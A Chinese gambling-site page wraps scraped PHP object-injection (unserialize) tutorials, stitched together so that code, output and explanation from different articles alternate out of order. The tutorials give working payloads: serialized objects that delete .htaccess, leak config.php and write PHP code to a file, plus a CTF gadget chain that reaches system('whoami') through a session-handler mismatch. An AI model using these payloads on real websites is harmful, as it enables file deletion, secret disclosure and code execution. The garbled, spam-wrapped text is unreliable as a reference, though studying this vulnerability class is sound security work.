威尼斯手机平台登陆-官方网站登录

威尼斯手机平台登陆为您带来世界三大博彩公司最新相关资讯,威尼斯官方网站登录充分考虑到不同地域网民的不同需求,威尼斯手机平台登陆良好的用户界面,人性化的操作,实用的功能设计使其广泛受到欢迎,推动实体出版、影视、动漫、游戏等相关文化产业的发展。

您的位置:威尼斯手机平台登陆 > 最新文章 > 想要将已序列化的字符串变回 PHP 的值,常见的魔术函数有

想要将已序列化的字符串变回 PHP 的值,常见的魔术函数有

发布时间:2020-04-21 16:06编辑:最新文章浏览(67)

    0×00 背景

    PHP对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

    前提知识

    0x00 序列化函数

    0×01 漏洞案例

    如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)

    WordPress 3.6.1

    Magento 1.9.0.1

    Joomla 3.0.3

    Ip board 3.3.5

    除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。

    图片 1

    在php类中可能会存在一些叫做魔术函数(magic 函数),这些函数会在类进行某些事件的时候自动触发,例如__construct()会在一个对象被创建时调用,__destruct()会在一个对象销毁时调用,__toString当对象被当做一个字符串的时候被调用。常见的魔术函数有__construct()、__destruct()、__toString()、__sleep()、__wakeup()。
    举例如下:

    serialize():返回带有变量类型和值的字符串

    0×01 PHP类和对象

    类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。

    <?php
    
    class TestClass
    {
        // A variable
    
        public $variable = 'This is a string';
    
        // A simple method
    
        public function PrintVariable()
        {
            echo $this->variable;
        }
    }
    
    // Create an object
    
    $object = new TestClass();
    
    // Call a method
    
    $object->PrintVariable();
    
    ?>
    

    它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量 variable。

    如果想了解更多关于php面向对象编程的知识 请点:

     代码如下

    unserialize():想要将已序列化的字符串变回 PHP 的值

    0×02 php Magic方法

    php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

    这些函数在某些情况下会自动调用,比如:

    __construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) __ toString当一个对象被当作一个字符串使用

    为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。

    <?php
        class TestClass
        {
        // 一个变量public $variable = 'This is a string';// 一个简单的方法
    
        public function PrintVariable()
        {
        echo $this->variable . '<br />';
        }
    
        // Constructor
    
        public function __construct()
        {
        echo '__construct <br />';
        }
    
        // Destructor
    
        public function __destruct()
        {
        echo '__destruct <br />';
        }
    
        // Call
    
        public function __toString()
        {
        return '__toString<br />';
        }
        }
    
        // 创建一个对象
        // __construct会被调用
    
        $object = new TestClass();
    
        // 创建一个方法
        // 'This is a string’ 这玩意会被输出
    
        $object->PrintVariable();
    
        // 对象被当作一个字符串
        // __toString 会被调用
    
        echo $object;
    
        // End of PHP script
        // php脚本要结束了, __destruct会被调用
    
        ?>
    

    我们往里头放了三个 magic方法,__construct, __destruct和 __toString,你可以看出来,__construct在对象创建时调用, __destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

    这个脚本会输出这狗样:

    __construct 
    This is a string 
    __toString 
    __destruct
    

    这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击链接

    <?php
    class test{
        public $varr1="abc";
        public $varr2="123";
        public function echoP(){
            echo $this->varr1."<br>";
        }
        public function __construct(){
            echo "__construct<br>";
        }
        public function __destruct(){
            echo "__destruct<br>";
        }
        public function __toString(){
            return "__toString<br>";
        }
        public function __sleep(){
            echo "__sleep<br>";
            return array('varr1','varr2');
        }
        public function __wakeup(){
            echo "__wakeup<br>";
        }
    }

    测试代码:

    0×03 php对象序列化

    php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。

    为了序列化一个对象,你需要调用 “serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

    让我们在序列化丢进那个例子,看看序列化张什么样。

    <?php
    // 某类class User
    {
    // 类数据public $age = 0;
    public $name = '';
    
    // 输出数据
    
    public function PrintData()
    {
    echo 'User ' . $this->name . ' is ' . $this->age
    . ' years old. <br />';
    }
    }
    
    // 创建一个对象
    
    $usr = new User();
    
    // 设置数据
    
    $usr->age = 20;
    $usr->name = 'John';
    
    // 输出数据
    
    $usr->PrintData();
    
    // 输出序列化之后的数据
    
    echo serialize($usr);
    
    ?>
    

    它会输出

    User John is 20 years old. 
    O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
    

    你可以看到序列化之后的数据中 有 20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。

    为了使用这个对象,我们用unserialize重建对象。

    <?php// 某类class User
    {
    // Class datapublic $age = 0;
    public $name = '';
    
    // Print data
    
    public function PrintData()
    {
    echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
    }
    
    // 重建对象
    
    $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
    
    // 调用PrintData 输出数据
    
    $usr->PrintData();
    
    ?>
    

    着会输出

    User John is 20 years old
    

    $obj = new test();      //实例化对象,调用__construct()方法,输出__construct
    $obj->echoP();          //调用echoP()方法,输出"abc"
    echo $obj;               //obj对象被当做字符串输出,调用__toString()方法,输出__toString
    $s  =serialize($obj);     //obj对象被序列化,调用__sleep()方法,输出__sleep
    echo unserialize($s);      //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
    // 脚本结束又会调用__destruct()方法,输出__destruct
    ?>

    <?php
      class test{
         var $a;
         var $b;
         function __construct($a,$b,$c){
          $a  = $a;
          $this->b = $b;
       
         }
        }
       
        class test1 extends test{
       
          function __construct($a){
           $this->a = $a;
          }
         }
        $a = 'hello';
        $b = 123;
        $c = false;
        $d = new test('helloa','hellob','helloc');
        $e = new test1('hello');
       
        var_dump(serialize($a));
        var_dump(serialize($b));
        var_dump(serialize($c));
        var_dump(serialize($d));
        var_dump(serialize($e));
    ?>
    运行结果:

    0×04 序列化magic函数

    magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者 unserialize的时候被调用。

    __sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。

    注意 __sleep 必须返回一个数组与序列化的变量名。

    <?php
    class Test
    {
    public $variable = 'BUZZ';
    public $variable2 = 'OTHER';public function PrintVariable()
    {
    echo $this->variable . '<br />';
    }public function __construct()
    {
    echo '__construct<br />';
    }
    
    public function __destruct()
    {
    echo '__destruct<br />';
    }
    
    public function __wakeup()
    {
    echo '__wakeup<br />';
    }
    
    public function __sleep()
    {
    echo '__sleep<br />';
    
    return array('variable', 'variable2');
    }
    }
    
    // 创建一个对象,会调用 __construct
    
    $obj = new Test();
    
    // 序列化一个对象,会调用 __sleep
    
    $serialized = serialize($obj);
    
    //输出序列化后的字符串
    
    print 'Serialized: ' . $serialized . <br />';
    
    // 重建对象,会调用 __wakeup
    
    $obj2 = unserialize($serialized);
    
    //调用 PintVariable, 会输出数据 (BUZZ)
    
    $obj2->PrintVariable();
    
    // php脚本结束,会调用 __destruct
    
    ?>
    

    这玩意会输出:

    __construct 
    __sleep 
    Serialized: O:4:"Test":2:
    {s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
    __wakeup 
    BUZZ 
    __destruct 
    __destruct
    

    你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

    原理

    string 's:5:"hello";' (length=12)
    string 'i:123;' (length=6)
    string 'b:0;' (length=4)
    string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)
    string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)
    序列化字符串格式: 变量类型:变量长度:变量内容 。

    0×05 php对象注入

    现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。

    记住序列化对象的值是可控的。

    你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。

    打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。然后代码张这狗样。

    public function LogData($text) { 
        echo 'Log some data: ' . $text . '<br />'; 
        file_put_contents($this->filename, $text, FILE_APPEND); 
    } 
    // Destructor 删除日志文件 
    public function __destruct() { 
        echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename);
    } 
    } ?>
    

    某例子关于如何使用这个类

    <?php
    include 'logfile.php';// 创建一个对象$obj = new LogFile();
    
    // 设置文件名和要储存的日志数据
    
    $obj->filename = 'somefile.log';
    $obj->LogData('Test');
    
    // php脚本结束啦,__destruct被调用,somefile.log文件被删除。
    
    ?>
    

    在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的什么玩意的。

    著作权归作者所有。
    商业转载请联系作者获得授权,非商业转载请注明出处。
    作者:Wujunze
    链接:https://wujunze.com/php_class_inject.jsp?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
    来源:wujunze.com
    
    <?php
    include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义
    
    class User
    {
    // 类数据
    
    public $age = 0;
    public $name = '';
    
    // 输出数据
    
    public function PrintData()
    {
    echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
    }
    
    // 重建 用户输入的 数据
    
    $usr = unserialize($_GET['usr_serialized']);
    
    ?>
    

    你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize” 值是我们可以注入的。

    所以构造类似这样的东西:

    script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

    究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:

    <?php$obj = new LogFile();
    $obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>
    

    这个会输出

    O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
    __destruct deletes ".htaccess" file.
    

    现在我们将构造过后的序列化对象发送给刚才的脚本:

    script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}
    

    这会输出

    __destruct deletes ".htaccess" file.
    

    现在 .htaccess 已经被干掉了,因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

    这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。

    虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用 __wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。

    为什么会用到序列话这样的方法?主要就是就是方便进行数据的传输,并且数据恢复之后,数据的属性还不会发生变化。例如,将一个对象反序列化之后,还是保存了这个对象的所有的信息。同时还可以将序列化的值保存在文件中,这样需要用的时候就可以直接从文件中读取数据然后进行反序列化就可以了。在PHP使用serialize()和unserialize()来进行序列化和反序列化的。
    而序列化的危害就在于如果序列化的内容是用户可控的,那么用户就可以注入精心构造的payload。当进行发序列化的时候就有可能会出发对象中的一些魔术方法,造成意想不到的危害。

    如果序列化的是一个对象,序列化字符串格式为:

    0×06 常见的注入点

    先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。

    打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

    <?php
    // … 一些include ...class FileClass
    {
    // 文件名public $filename = 'error.log';
    
    //当对象被作为一个字符串会读取这个文件
    
    public function __toString()
    {
    return file_get_contents($this->filename);
    }
    }
    
    // Main User class
    
    class User
    {
    // Class data
    
    public $age = 0;
    public $name = '';
    
    // 允许对象作为一个字符串输出上面的data
    
    public function __toString()
    {
    return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
    }
    
    // 用户可控
    
    $obj = unserialize($_GET['usr_serialized']);
    
    // 输出 __toString
    
    echo $obj;
    
    ?>
    

    so,我们构造url

    script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
    

    再想想,如果我们用序列化调用 FileClass呢

    我们创建利用代码

    <?php$fileobj = new FileClass();
    $fileobj->filename = 'config.php';echo serialize($fileobj);?>
    

    接着用生成的exp注入url

    script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}
    

    接着网页会输出 config.php的源代码

    <?php$private_data = 'MAGIC';?>
    

    ps:我希望这让你能够理解。

    对象注入

    变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

    0×07 其他的利用方法

    可能其他的一些magic函数海存在利用点:比如__call 会在对象调用不存在的函数时调用,__get 和 __set会在对象尝试访问一些不存在的类,变量等等时调用。

    不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。

    唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解

    本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
    如果在一个程序中,一个类用于临时将日志存储进某个文件中,当__destruct()方法被调用时,日志文件被删除。代码大致如下:
    logfile.php

    将上述结果反序列化输出,执行结果:

    0×08 如何利用或者避免这个漏洞

    别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“

     代码如下

    string 'hello' (length=5)
    int 123
    boolean false
    object(test)[1]
      public 'a' => null
      public 'b' => string 'hellob' (length=6)
    object(test1)[1]
      public 'a' => string 'hello' (length=5)
      public 'b' => null
    0x01 对象序列化

    0×09 结论

    虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。

    <?php
    class LogClass {
        public $logfilename = "";
        public function logdata($text) {
            echo "log data".$text."<br/>";
            file_put_contents($this->logfilename,$text,FILE_APPEBD);
        }

    当序列化对象时,PHP 将在序列动作之前调用该对象的成员函数 sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 wakeup()成员函数。

        public function __destruct() {
            echo 'deletes'.$this->logfilename;
            unlink(dirname(__FILE__).'/'.$this->logfilename);
        }
    }
    ?>

    在serialize()函数执行时,会先检查类中是否定义了 sleep()函数,如果存在,则首先调用 sleep()函数,如果不存在,就保留序列字符串中的所有属性。

    在其他类中使用LogClass
    logLogin.php

    在unserialize()函数执行时,会先检查是否定义了 wakeup()函数。如果 wakeup()存在,将执行__wakeup()函数,会使变量被重新赋值。

     代码如下

    serialize()测试代码:

    <?php
    include "index.php";
    $obj = new LogClass();
    $obj->logfilename = "login.log";
    $obj->logdata('记录日志');
    ?>

    <?php
      class test{
         var $a;
         var $b;
         function __construct($a,$b,$c){
          $this->a  = $a;
          $this->b = $b;
       
         }
         function __sleep(){
          echo "b has changed"."n";
          $this->b = 'hib';
          return $this->b;
          
       
         }
         function __wakeup(){
          echo "a has changed"."n";
          $this->a = 'hia';
       
         }
        }
       
        class test1 extends test{
       
          function __construct($a){
           $this->a = $a;
          }
         }
       
        $d = new test('helloa','hellob','helloc');
        $e = new test1('hello');
       
        serialize($d);
        serialize($e);
       
        var_dump($d);
        var_dump($e);
    ?>

    上面的这段代码就是一个正常的使用LogClass类来完成日志记录的功能。
    下面显示的是存在对象注入漏洞的使用例子。
    news.php

    执行结果:

     代码如下

    b has changed b has changed
    object(test)[1]
    public 'a' => string 'helloa' (length=6)
    public 'b' => string 'hib' (length=3)
    object(test1)[2]
    public 'a' => string 'hello' (length=5)
    public 'b' => string 'hib' (length=3)
    unserialize()测试代码:

    <?php
    include "logfile.php";
    // some codes the use the LogClass
    class User {
        public $age = 0;
        public $name = '';
        public function print_data() {
            echo "User".$this->name."is".$this->age."years old.<br/>";
        }
    }

    class test{
         var $a;
         var $b;
         function __construct($a,$b,$c){
          $this->a  = $a;
          $this->b = $b;
       
         }
         function __sleep(){
          echo "b has changed"."n";
          $this->b = 'hib';
          return $this->b;
          
       
         }
         function __wakeup(){
          echo "a has changed"."n";
          $this->a = 'hia';
       
         }
        }
       
        class test1 extends test{
       
          function __construct($a){
           $this->a = $a;
          }
         }
       
            $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;
            $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;
       
            var_dump(unserialize($d));
            var_dump(unserialize($e));

    // 从用户接受输入发序列化为User对象
    $usr = unserialize($_GET["user"]);
    ?>

    运行结果:

    上面显示的代码使用了LogClass对象同时还会从用户那里接受输入进行发序列化转化为一个User对象。
    当我们提交如下的数据

    a has changed
    object(test)[1]
      public 'a' => string 'hia' (length=3)
      public 'b' => string 'hellob' (length=6)
    a has changed
    object(test1)[1]
      public 'a' => string 'hia' (length=3)
      public 'b' => null
    0x02 PHP序列化的利用

    news.php?user=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

    1、magic函数和序列化

    这样的语句是可以正常使用的,也是程序员希望使用的方法。
    但是如果提交的数据为:

    参考: php对象注入

    news.php?user=O:8:"LogClass":1:{s:11:"logfilename";s:9:".htaccess";}

    除了 sleep()和 wakeup()函数,在序列化时会执行外,还有下面几种利用方式。

    那么最后就会输出delete .htaccess。
    可以看到通过构造的数据,导致执行了LogClass中的__destruct()方法然后删除了网站中重要的配置文件。
    从上面这个例子也可以看出来,如果没有严格控制用户的输入同时对用户的输入进行了反序列化的操作,那么就有可能会实现代码执行的漏洞。

    Class File
     {
      function __construct($var,$file1,$file2){
       $this->var = $var;
       $this->file1 = $file1;
       $this->file2 = $file2;
       echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';
      }
      function __destruct(){
       unlink(dirname(__FILE__) . '/' . $this->file1);
       echo $this->file1.'deleted';
      }
      function __toString(){
       return file_get_contents($this->file2);

    注入点

      }

    PHP对象注入一般在处在程序的逻辑上面。例如一个User类定义了__toString()用来进行格式化输出,但是也存在File类定义了__toString()方法读取文件内容然后进行显示,那么攻击者就有可能通过User类的反序列化构造一个File类来读取网站的配置文件。

     }

    user.php

    // $file = new File('hello','123.txt','456.php');
    // var_dump(serialize($file));
    echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');
    ( construct()函数,在实例化一个对象时被调用,一般用来给属性赋值, destruct()在实例化对象完成后执行,__toString()函数在echo一个对象时被调用)

     代码如下

    construct()函数内定义了三个变量,var这个没什么暖用,file1和file2,我们在序列化字符串中定义为已经服务器上已经存在的两个文件123.txt和456.php,destruct()中有一个unlink方法,是删除file1,__toString()中,读取file2的内容。

    <?php
    class FileClass {
        public $filename = "error.log";
        public function __toString() {
      echo "filename发生了变化==>" . $this->filename ;
            return @file_get_contents($this->filename);
        }
    }

    执行结果:

    class UserClass {
        public $age = 0;
        public $name = '';
        public function __toString() {
            return 'User '.$this->name." is ".$this->age.' years old. <br/>';
        }
    }

    123.txtdeleted

    $obj = unserialize($_GET['usr']);
    echo $obj;      //调用obj的__toString()方法
    ?>

    查看源码:

    正常情况下我们应该传入UserClass序列化的字符串,例如user.php?usr=O:9:"UserClass":2:{s:3:"age";i:18;s:4:"name";s:3:"Tom";},页面最后就会输出User Tom is 18 years old.。这也是一个理想的使用方法。

    <?php  echo 123; ?>123.txtdeleted

    图片 2

    将字符串反序列化后,由于已经对变量赋过值,那么就不会再执行 construct()函数,在 construct()中赋值的变量也是无效的。上述代码中 destruct()方法在在反序列化后,实例化对象结束后执行了, tostring()函数在echo unserialize()处,也被执行了

    但是如果我们传入的数据为user.php?usr=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";},页面最后的输出是filename发生了变化==>config.php,执行了FileClass中的__toString()方法。

    如果说在当前页面中有request系列函数,那么就可以造成php对象注入:

    图片 3


    2、三个白帽挑战赛第三期

    这样就可以读取到config.php中的源代码了。

    是一道源码审计题,题目大致是sql注入结合序列化写入文件

    漏洞挖掘

    部分源码也是在某个大神 博客 看到的(由于我没有做过题,所以我只截取了和序列化漏洞相关的部分源码):

    这类洞一般都是很难挖掘的,虽然显示看起来很简单,但实际上需要的条件还是相当的苛刻的,而且找对象注入的漏洞一般都是通过审计源代码的方式来进行寻找,看unserialize()的参数是否是可控的,是否存在反序列化其他参数对象的可能。

    class Cache extends ArrayObject
    {
      public $path;
      function __construct($path)
      {
        parent::__construct([],ArrayObject::STD_PROP_LIST | ArrayObject::ARRAY_AS_PROPS);
        $this->path = $path;
        if(file_exists($path)){
          $this->cache = unserialize(file_get_contents($this->path));
        }
      function offset(){
      //一些不知道干嘛用的代码
      }

    防御

      }

    要对程序中的各种边界条件进行测试
    避免用户对于unserialize()参数是可控的,可以考虑使用json_decode方法来进行传参。

      function __destruct()
      {
        $cache = $this->serialize();
        file_put_contents($this->path, $cache);
       
      }

    serialize — Generates a storable representation of a value

    }

    serialize — 产生一个可存储的值的表示

    又由于我没有做过题。。。。所以模拟了这样一个页面去实例化:

    unserialize — Creates a PHP value from a stored representation

    include('cache.php');
    $cache = new Cache('path.txt');

    unserialize — 从已存储的表示中创建 PHP 的值

    这题好像是这样的:

    <?php
    //声明一个类
    class dog {

    通过SQL注入,可控一个文件,假设可控的是path.txt这个文件(在实际的题目中,SQL注入权限不够,web目录下不可写文件,但其他目录可写,已知目录下有文件md5(username).txt,文件名知道,内容可控),这段代码的意思是,判断该文件存在后,读取文件内容,并且反序列化内容,结束时再经过序列化存进文件中。所以可以在可控文件中构造序列化字符串,改变当前的path属性为我们想要的目录。

        var $name;
        var $age;
        var $owner;

    path.txt:

        function dog($in_name="unnamed",$in_age="0",$in_owner="unknown") {
            $this->name = $in_name;
            $this->age = $in_age;
            $this->owner = $in_owner;
        }

    C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:wampwwwtestpath.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

        function getage() {
            return ($this->age * 365);
        }
       
        function getowner() {
            return ($this->owner);
        }
       
        function getname() {
            return ($this->name);
        }
    }
    //实例化这个类
    $ourfirstdog = new dog("Rover",12,"Lisa and Graham");
    //用serialize函数将这个实例转化为一个序列化的字符串
    $dogdisc = serialize($ourfirstdog);
    print $dogdisc; //$ourfirstdog 已经序列化为字符串 O:3:"dog":3:{s:4:"name";s:5:"Rover";s:3:"age";i:12;s:5:"owner";s:15:"Lisa and Graham";}

    上述字符串是通过输出serialize(一个实例化的Cache对象)构造的,当__construct()执行时,就会将上述字符串反序列化,此时已经实例化了一个cache对象,而它的path值变成了我们定义的”F:wampwwwtestpath.php”,并且多了一个cache属性,值为 <?php echo 123; ?> ,这里的属性名cache是可以随意取的,但如果源码中:

    print '<BR>';

    $cache = $this->serialize();
    变成了:

    /*

        在这里你可以将字符串 $dogdisc 存储到任何地方如

    $cache = serialize($this->cache);
    那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;属性名就必须和源码serialize($this->cache)当中的属性名相同。

    session,cookie,数据库,php文件

    */

    //我们在此注销这个类
    unset($ourfirstdog);

    /*    还原操作   */

    所以,现在服务器上其实有两个对象,一个是 $cache = new Cache('path.txt'); 定义的$cache,它的path属性值为path.txt;另一个对象是

    /*

        在这里将字符串 $dogdisc 从你存储的地方读出来如

    C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:wampwwwtestpath.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的对象,它的path属性的值为path.php。

    session,cookie,数据库,php文件

    */

    //我们在这里用 unserialize() 还原已经序列化的对象
    $pet = unserialize($dogdisc); //此时的 $pet 已经是前面的 $ourfirstdog 对象了
    //获得年龄和名字属性
    $old = $pet->getage();
    $name = $pet->getname();
    //这个类此时无需实例化可以继续使用,而且属性和值都是保持在序列化之前的状态
    print "Our first dog is called $name and is $old days old<br>";
    print '<BR>';
    ?>

    两个对象实例化结束后,会调用其__destruct()方法,将对象自身序列化,写入path属性定义的路径中。这样就将包含 <?php echo 123; ?> 的内容写进了path.php中。

    3、安恒ctf web3

    一道源码审计题,解题思路是session上传进度,和session序列化处理器漏洞相结合。

    session上传进度:

    参考: upload-progress

    当 session.upload_progress.enabled INI 选项开启时,在一个上传处理中,在表单中添加一个与INI中设置的 session.upload_progress.name 同名变量时,$_SESSION中就会添加一个保存上传信息的session值,它的session名是 INI 中定义的 session.upload_progress.prefix 加表单中的post的 session.upload_progress.name

    测试代码:

    <form action="" method="POST" enctype="multipart/form-data">
     <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
     <input type="file" name="123123" />
     <input type="submit" />
    </form>
    <?php
     session_start();
     var_dump($_SESSION);
    ?>

    (要查看到上传session,INI貌似要设置这个session.upload_progress.cleanup = Off)

    session序列化处理器:

    参考: session序列化

    当session.auto_start = 0时:

    两个脚本注册 Session 会话时使用的序列化处理器(session.serialize_handler)不同,就会出现安全问题。

    经过测试发现在1.php页面注册session.serialize_handler=‘php_serialize’;

    在2.php中注册session.serialize_handler=‘php’;

    那么在1.php中伪造一个格式为:竖线加上对象序列化后的字符串

    如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
    那么会按照 php 处理器的反序列化格式读取数据,成功地实例化了该对象。

    反之,如果是从php->php_serialize,是不可行的。

    当session.auto_start = 1时:

    只能注入 PHP 的内置类

    web3 源码:

    class.php:

        <?php
        class foo1{
                public $varr;
                function __construct(){
                        $this->varr = "index.php";
                }
                function __destruct(){
                        if(file_exists($this->varr)){
                                echo $this->varr;
                        }
                        echo "这是foo1的析构函数";
                }
        }
       
        class foo2{
                public $varr;
                public $obj;
                function __construct(){
                        $this->varr = '1234567890';
                        $this->obj = null;
                }
                function __toString(){
                        $this->obj->execute();
                        return $this->varr;
                }
                function __desctuct(){
                        echo "这是foo2的析构函数";
                }
        }
       
        class foo3{
                public $varr;
                function execute(){
                        eval($this->varr);
                }
                function __desctuct(){
                        echo "这是foo3的析构函数";
                }
        }
       
        ?>
    index.php:

    <?php
       
        ini_set('session.serialize_handler', 'php');
        
        require("./sessionTest.php");
        
        session_start();
        $obj = new foo1();
        
        $obj->varr = "phpinfo.php";
       
        ?>
    想办法让程序执行foo3的excute()函数,就要通过foo2的 toString(),要执行foo2的 toString()就要通过echo foo2,刚好foo1的__deatruct()有段这样的代码 echo $this->varr;

    所以这样构造:

    include('class.php');
    $t1 = new foo1;
    $t2 = new foo2;
    $t3 = new foo3;
    $t3->varr = "system('whoami');";
    $t2->obj = $t3;
    $t1->varr = $t2;

    $s1 = serialize($t1);
    var_dump($s1);
    构造出这样一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

    所以构造一个表单,向class.php上传文件,通过session上传进度保存的session,来触发session序列化漏洞,由于INI中设置的序列化处理器为php_serialize,而index.php中将其设置为php,就使得伪造的session被成功地实例化了。

    有两类不同的插法~

    1、将序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

    session名变成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload会替换整个session值

    2、将序列化字符串插入post内容中

    因为session会存上传文件的内容和文件名,所以也可以将序列化字符串插入name、filename.文件上传原本的session值一直到name前面一个参数为止,变成了session名,name参数|后面的payload变成了session值

    本文由威尼斯手机平台登陆发布于最新文章,转载请注明出处:想要将已序列化的字符串变回 PHP 的值,常见的魔术函数有

    关键词: